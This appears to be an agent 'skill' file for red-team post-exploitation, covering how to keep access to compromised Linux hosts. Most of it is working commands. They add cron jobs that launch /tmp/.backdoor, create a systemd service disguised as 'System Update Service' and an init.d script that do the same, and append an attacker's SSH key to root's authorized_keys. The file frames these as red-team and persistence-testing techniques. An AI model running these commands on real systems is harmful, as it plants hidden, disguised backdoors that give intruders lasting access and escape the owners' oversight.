establishing-persistence

Establishing Persistence

When to Use

• Maintaining access to compromised systems
• Post-exploitation techniques
• Red team operations
• Persistence testing
• Backdoor creation

When NOT to Use

• Before you have access — use the relevant initial access or privilege escalation skill first
• Building malware, implants, or loaders — out of scope
• Finding an attacker's persistence as a defender — use responding-to-incidents and hunting-threats

Windows Persistence

The exhaustive Windows command catalog — registry Run keys, scheduled tasks, services, WMI event subscriptions, startup folder, DLL hijacking, IFEO, AppInit_DLLs, and backdoor accounts — lives in references/windows-persistence-commands.md.

Linux Persistence

Cron Jobs

# User crontab (no sudo needed)
crontab -e
# Add:
@reboot /tmp/.backdoor
0 * * * * /tmp/.backdoor  # Every hour

# System-wide cron (requires root)
echo "@reboot root /tmp/.backdoor" >> /etc/crontab

# Cron.d directory
echo "* * * * * root /tmp/.backdoor" > /etc/cron.d/backdoor

# Daily/hourly cron scripts
cp backdoor.sh /etc/cron.daily/update
chmod +x /etc/cron.daily/update

Systemd Services

# Create service file
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/tmp/.backdoor
Restart=always

[Install]
WantedBy=multi-user.target
EOF

# Enable and start
systemctl daemon-reload
systemctl enable backdoor.service
systemctl start backdoor.service

# Verify
systemctl status backdoor.service

RC Scripts (Init.d)

# Create init script
cat > /etc/init.d/backdoor << EOF
#!/bin/bash
### BEGIN INIT INFO
# Provides: backdoor
# Required-Start: \$network
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO
/tmp/.backdoor &
EOF

chmod +x /etc/init.d/backdoor
update-rc.d backdoor defaults

SSH Keys

# Add attacker's public key
mkdir -p /root/.ssh
echo "ssh-rsa AAAA...attacker_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# For specific user
echo "ssh-rsa AAAA...attacker_key" >> /home/user/.ssh/authorized_keys